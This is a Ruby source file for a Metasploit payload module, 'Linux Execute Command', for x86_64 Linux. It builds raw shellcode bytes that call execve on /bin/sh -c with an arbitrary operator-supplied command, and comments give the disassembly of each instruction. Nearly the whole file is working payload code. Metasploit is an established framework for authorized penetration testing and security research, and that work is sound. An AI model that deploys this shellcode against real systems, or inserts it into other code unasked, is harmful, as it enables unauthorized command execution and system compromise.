53 lines
1.7 KiB
Ruby
53 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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module Metasploit3
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CachedSize = 47
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include Msf::Payload::Single
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include Msf::Payload::Linux
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Linux Execute Command',
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'Description' => 'Execute an arbitrary command',
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'Author' => 'ricky',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => ARCH_X86_64))
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register_options(
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[
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OptString.new('CMD', [ true, "The command string to execute" ]),
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], self.class)
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end
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def generate_stage(opts={})
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cmd = (datastore['CMD'] || '') + "\x00"
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call = "\xe8" + [cmd.length].pack('V')
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payload =
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"\x6a\x3b" + # pushq $0x3b
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"\x58" + # pop %rax
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"\x99" + # cltd
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"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
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"\x73\x68\x00" + #
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"\x53" + # push %rbx
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"\x48\x89\xe7" + # mov %rsp,%rdi
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"\x68\x2d\x63\x00\x00" + # pushq $0x632d
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"\x48\x89\xe6" + # mov %rsp,%rsi
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"\x52" + # push %rdx
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call + # callq 2d <run>
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cmd + # .ascii "cmd\0"
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"\x56" + # push %rsi
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"\x57" + # push %rdi
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"\x48\x89\xe6" + # mov %rsp,%rsi
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"\x0f\x05" # syscall
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end
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end
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